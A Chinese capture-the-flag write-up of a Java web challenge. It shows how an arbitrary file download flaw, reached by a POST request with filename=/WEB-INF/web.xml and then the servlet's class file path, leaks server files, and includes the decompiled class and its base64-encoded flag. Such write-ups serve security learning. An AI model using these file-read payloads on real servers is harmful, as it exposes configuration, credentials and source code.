1. 程式人生 > 其它 >事件的詳解1

事件的詳解1

開啟題目

然後首先檢視原始碼和訊息頭,並沒有什麼額外的收穫,於是我嘗試sql注入,然後結果也失敗了。

然後我點開了help

猜測這可能有檔案下載漏洞,我嘗試payload:

Download?filename={help.docx}

  結果出乎意料的是

於是我嘗試用POST方式來進行請求,結果卻意外發現可以下載檔案。下載了一個help.docx的檔案。

然後我嘗試下載存有web資訊的XML檔案。payload:

filename=/WEB-INF/web.xml

  然後得到了

<servlet>
        <servlet-name
>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet>

到這一步其實可以很明顯得到答案了。

然後擴充一下知識點來自博文:https://www.cnblogs.com/Cl0ud/p/12177085.html

 WEB-INF主要包含一下檔案或目錄:
    /WEB-INF/web.xml:Web應用程式配置檔案,描述了 servlet 和其他的應用元件配置及命名規則。
    /WEB-INF/classes/:含了站點所有用的 class 檔案,包括 servlet class 和非servlet class,他們不能包含在 .jar檔案中
    /WEB-INF/lib/:存放web應用需要的各種JAR檔案,放置僅在這個應用中要求使用的jar檔案,如資料庫驅動jar檔案
    /WEB-INF/src/:原始碼目錄,按照包名結構放置各個java檔案。
    /WEB-INF/database.properties:資料庫配置檔案

科普:servlet:Servlet(Server Applet)是JavaServlet的簡稱,稱為小服務程式或服務聯結器,用Java編寫的伺服器端程式,具有獨立於平臺和協議的特性,主要功能在於互動式地瀏覽和生成資料,生成動態Web內容。(來源百度百科)

其實說明了這個就是JAVA原始碼進行編譯後所產生的字尾帶有.class的東西。於是我們可以下載這個.class檔案再利用反編譯手段來獲得flag。

最終payload:

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
import java.io.IOException;
import java.io.PrintWriter; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @WebServlet( name = "FlagController" ) public class FlagController extends HttpServlet { String flag = "ZmxhZ3thNTkzMTBiMy1lZjkzLTQ5ODktOTVlMC0zYTQ2ZmZhMThiYjh9Cg=="; protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException { PrintWriter var3 = var2.getWriter(); var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>"); } }

然後base64解碼(線上java反編譯網站http://javare.cn/)

注意:要把com到FlagController前面的.改成/,原本的' . '是與檔案路徑就是類似於java裡面一樣,就比如說,我要執行hello包裡面的hello就是hello.hello